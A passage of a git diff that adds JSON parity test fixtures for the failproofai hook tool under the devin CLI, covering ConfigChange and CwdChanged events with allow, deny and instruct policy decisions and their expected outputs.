"decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/ConfigChange/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/ConfigChange/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..617b566c --- /dev/null +++ b/__tests__/parity/fixtures/devin/ConfigChange/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/ConfigChange/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/ConfigChange/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..12ce5f6e --- /dev/null +++ b/__tests__/parity/fixtures/devin/ConfigChange/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/ConfigChange/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/ConfigChange/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..5a9ec2cc --- /dev/null +++ b/__tests__/parity/fixtures/devin/ConfigChange/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/ConfigChange/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/ConfigChange/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..975ba637 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ConfigChange/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/ConfigChange/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/ConfigChange/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..d3aafc10 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ConfigChange/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/ConfigChange/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/ConfigChange/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..277a9ca2 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ConfigChange/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/ConfigChange/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/ConfigChange/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..5a01eab2 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ConfigChange/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/ConfigChange/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/ConfigChange/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..6b4d68e1 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ConfigChange/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/ConfigChange/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/ConfigChange/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..c3e1e88b --- /dev/null +++ b/__tests__/parity/fixtures/devin/ConfigChange/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/ConfigChange/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/ConfigChange/deny__tool-present__one-policy.json new file mode 100644 index 00000000..a9094551 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ConfigChange/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/ConfigChange/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/ConfigChange/deny__tool-present__two-policies.json new file mode 100644 index 00000000..6c96945d --- /dev/null +++ b/__tests__/parity/fixtures/devin/ConfigChange/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/ConfigChange/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/ConfigChange/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..935041a3 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ConfigChange/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/ConfigChange/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/ConfigChange/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..9b4b47bd --- /dev/null +++ b/__tests__/parity/fixtures/devin/ConfigChange/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/ConfigChange/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/ConfigChange/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..c734f50c --- /dev/null +++ b/__tests__/parity/fixtures/devin/ConfigChange/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/ConfigChange/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/ConfigChange/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..e0517a2b --- /dev/null +++ b/__tests__/parity/fixtures/devin/ConfigChange/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/CwdChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/CwdChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..d617379f --- /dev/null +++ b/__tests__/parity/fixtures/devin/CwdChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/CwdChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/CwdChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..11b396d2 --- /dev/null +++ b/__tests__/parity/fixtures/devin/CwdChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/CwdChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/CwdChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..0d5f7688 --- /dev/null +++ b/__tests__/parity/fixtures/devin/CwdChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/CwdChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/CwdChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..3b45d30f --- /dev/null +++ b/__tests__/parity/fixtures/devin/CwdChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/CwdChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/CwdChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..a2a6cad6 --- /dev/null +++ b/__tests__/parity/fixtures/devin/CwdChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": 